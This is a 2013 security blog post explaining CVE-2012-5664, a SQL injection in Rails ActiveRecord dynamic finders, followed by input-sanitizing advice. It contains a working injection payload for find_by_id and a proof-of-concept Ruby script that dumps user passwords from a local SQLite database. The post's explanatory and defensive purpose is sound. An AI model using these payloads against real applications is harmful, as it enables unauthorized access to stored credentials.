2013 is well promising for application security. Two days ago Aaron Patterson, a rails core member announced a SQL Injection vulnerability for ActiveRecord ORM included in Rails framework.

Last June we talked about a similiar vulnerability affecting ActiveRecord.

Dynamic finders

The vulnerability is in ORM resource dynamic finder methods.

Carefully crafted requests can be used to turn a dynamic finder method parameter into a query scope.

Let us suppose you have a User model with two fields: an email and a password. We also suppose that our code will take an id parameter from the outside and using it to retrieve a user from the backend.

You can retrieve a user with a given id with a call like this one:

``` ruby ActiveRecord find_by_id u = User.find_by_id(params[:id])

The find\_by\_id method is not explicity declared by the User model, it's
dynamically created by ActiveRecord as well the methods:

* find\_by\_email
* find\_by\_password

## Exploiting it

If the parameter id passed to the dynamic find\_by\_id method, contains an Hash
this is used as options to the SELECT statement instead of being part of the
WHERE clause.

``` ruby the difference between a regular call and the attack
User.find_by_id(1) # REGULAR CALL => SELECT "users".* FROM "users" WHERE "users"."id" = 1 LIMIT 1
User.find_by_id({:select =>"* from users where id=4 --"}) # INJECTION => SELECT * from users where id=4 -- FROM "users" WHERE "users"."id" IS NULL LIMIT 1

This very trivial ruby script shows an in memory SQLite3 database managed with ActiveRecord as ORM.

``` ruby cve-2012-5664.rb #!/usr/bin/env ruby

require ‘active_record’ require ‘logger’

ActiveRecord::Base.logger = Logger.new(STDERR)

ActiveRecord::Base.establish_connection( :adapter => “sqlite3”, :database => “:memory:” )

ActiveRecord::Schema.define do create_table :users do |table| table.column :email, :string table.column :password, :string end end

class User < ActiveRecord::Base end

User.create(:email=>’admin_email’, :password=>’admin_pwd’) User.create(:email=>’foo_email’, :password=>’foo_pwd’) User.create(:email=>’bar_email’, :password=>’bar_pwd’) User.create(:email=>’vuln_email’, :password=>’vuln_pwd’)

puts “Using ActiveRecord #{ActiveRecord::VERSION::STRING}” puts “Exploiting find_by_id”

100.times do |i| u = User.find_by_id({:select =>”* from users where id=#{i} –”}) puts “Password for user with id #{i} is: #{u.password}” unless u.nil? end

## The old fashioned defensive programming practice

ActiveRecord dynamic finders don't care about the input you pass them. Of
course it could be up to your application to properly sanitize the input
instead of passing params directly to find\_by\_id method.

I rather prefer this approach since your application knows exactly the meaning
of that line of code.

If you want your code to be robust against SQL Injection you must sanitize your input before moving forth. 

If you need to call find\_by\_id, the parameter **must** be an integer
identifier, so your approach would be explicitly casting to an Integer object.

``` ruby sanitize your find_by_id
sanitized_id = params[:id] # you have to consider the value tampered here

begin
  sanitized_id = sanitized_id.to_i
  # make your business logic specific choice here.
  #   * Can an id be negative?
  #   * Can an id be 0?
  #   * Have you got some particular constraint about ids? (e.g. valid ids are between 500 and 1200)
  sanitized_id = nil if sanitized_id <= 0
  sanitized_id = nil unless ( sanitized_id >= 500 and sanitized_id <= 1200)
rescue NoMethodError 
  sanitized_id = nil
end

u = User.find_by_id(sanitized_id)

# Do your stuff

...

Of course this is just an example showing a security aware approach when reading a parameter that you want to manage like an Integer before using it in your ORM of choice.

Do you think adding some security checks break your agile workout? Do you think it’s just an unnecessary step adding latency to your fast and furious website?

You may want to think it twice before answering. My point of view is that for sentive parameters read from HTTP request you have to carefully handle it before passing to backend.

Off by one

On Hacker news you can find some comments about recent Github security issue exploiting Rails using this SQL Injection to override some popular Rails authentication framework.

On Phusion blog a more detailed and security aware dissertion was made in order to explain that there is of course a problem in the dynamic finder methods for ActiveRecord but exploiting it it’s a very hard task. And I agree with it.

The main problem looking at the patch is that in my opinion, it solves this problem but it doesn’t make a solid framework for input validation before building the query.

Adding your web application code to some positive filtering for the parameters you read helps you in:

• be transparent about the security model of your underlying framework
• be confident that input will fit what you expect from the user with ad hoc controls

The overhead in execution time can be, of course, an issue for impatient developers but the tradeoff between being compromised and having a couple of if statements to be executed can be a well tolerated solution.

What do you think about it? Is defensive programming a solution or just a redundant piece of code? Tell me your thoughts.